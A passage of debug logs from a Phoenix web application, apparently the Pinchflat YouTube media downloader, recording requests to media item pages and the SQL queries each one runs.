s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:14.926 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:20:14.927 [info] Sent 200 in 8ms 07:20:15.420 [info] GET /sources/30/media/137375 07:20:15.420 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "137375", "source_id" => "30"} Pipelines: [:browser] 07:20:15.421 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=496.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [137375] 07:20:15.422 [debug] QUERY OK source="tasks" db=0.3ms idle=496.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [137375] 07:20:15.422 [debug] QUERY OK source="sources" db=0.6ms idle=496.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 07:20:15.423 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=497.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [6974] 07:20:15.424 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=497.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:15.424 [debug] QUERY OK source="settings" db=0.3ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:15.425 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:15.426 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:20:15.427 [info] Sent 200 in 7ms 07:20:15.920 [info] GET /sources/31/media/140207 07:20:15.920 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "140207", "source_id" => "31"} Pipelines: [:browser] 07:20:15.922 [debug] QUERY OK source="media_items" db=0.4ms idle=497.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140207] 07:20:15.923 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=498.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [140207] 07:20:15.924 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=497.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 07:20:15.925 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=498.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7193] 07:20:15.926 [debug] QUERY OK source="settings" db=0.1ms idle=89.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:15.926 [debug] QUERY OK source="settings" db=0.1ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:15.926 [debug] QUERY OK source="settings" db=0.0ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:15.927 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:20:15.928 [info] Sent 200 in 8ms 07:20:34.557 [info] GET /sources/31/media/140639 07:20:34.558 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "140639", "source_id" => "31"} Pipelines: [:browser] 07:20:34.559 [debug] QUERY OK source="media_items" db=0.7ms idle=1439.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140639] 07:20:34.561 [debug] QUERY OK source="tasks" db=0.9ms idle=1440.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [140639] 07:20:34.562 [debug] QUERY OK source="sources" db=1.5ms idle=1440.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 07:20:34.562 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=1442.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7212] 07:20:34.562 [debug] QUERY OK source="settings" db=0.1ms idle=685.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:34.563 [debug] QUERY OK source="settings" db=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:34.563 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:34.564 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:20:34.565 [info] Sent 200 in 7ms 07:20:34.862 [info] GET /sources/30/media/139734/edit 07:20:34.862 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "139734", "source_id" => "30"} Pipelines: [:browser] 07:20:34.863 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=300.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139734] 07:20:34.864 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=301.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:34.865 [debug] QUERY OK source="settings" db=0.3ms idle=302.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:34.866 [debug] QUERY OK source="settings" db=0.3ms idle=302.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:34.868 [info] Sent 200 in 6ms 07:20:35.359 [info] GET /sources/31/media/139775/edit 07:20:35.360 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "139775", "source_id" => "31"} Pipelines: [:browser] 07:20:35.361 [debug] QUERY OK source="media_items" db=0.5ms idle=497.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139775] 07:20:35.363 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=497.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:35.363 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=497.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:35.365 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=498.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:35.365 [info] Sent 200 in 6ms 07:20:35.867 [info] GET /sources/30/media/137801/edit 07:20:35.868 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "137801", "source_id" => "30"} Pipelines: [:browser] 07:20:35.869 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=990.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [137801] 07:20:35.870 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=508.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:35.871 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=508.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:35.873 [debug] QUERY OK source="settings" db=0.5ms idle=508.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:35.874 [info] Sent 200 in 6ms 07:20:36.369 [info] GET /sources/30/media/141039/edit 07:20:36.369 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141039", "source_id" => "30"} Pipelines: [:browser] 07:20:36.370 [debug] QUERY OK source="media_items" db=0.5ms idle=500.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141039] 07:20:36.371 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=500.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:36.372 [debug] QUERY OK source="settings" db=0.5ms idle=500.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:36.373 [debug] QUERY OK source="settings" db=0.1ms idle=500.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:36.374 [info] Sent 200 in 5ms 07:20:36.868 [info] GET /sources/31/media/139990 07:20:36.868 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "139990", "source_id" => "31"} Pipelines: [:browser] 07:20:36.869 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=990.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139990] 07:20:36.871 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=500.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [139990] 07:20:36.871 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=499.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 07:20:36.872 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=499.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7176] 07:20:36.873 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=499.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:36.873 [debug] QUERY OK source="settings" db=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:36.874 [debug] QUERY OK source="settings" db=0.0ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:36.874 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:20:36.876 [info] Sent 200 in 7ms 07:20:37.372 [info] GET /sources/31/media/139344 07:20:37.372 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "139344", "source_id" => "31"} Pipelines: [:browser] 07:20:37.373 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=499.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139344] 07:20:37.375 [debug] QUERY OK source="tasks" db=0.5ms idle=500.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [139344] 07:20:37.375 [debug] QUERY OK source="sources" db=1.2ms idle=500.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 07:20:37.377 [debug] QUERY OK source="oban_jobs" db=0.8ms queue=0.1ms idle=501.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7126] 07:20:37.378 [debug] QUERY OK source="settings" db=0.5ms idle=498.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:37.379 [debug] QUERY OK source="settings" db=0.3ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:37.379 [debug] QUERY OK source="settings" db=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM 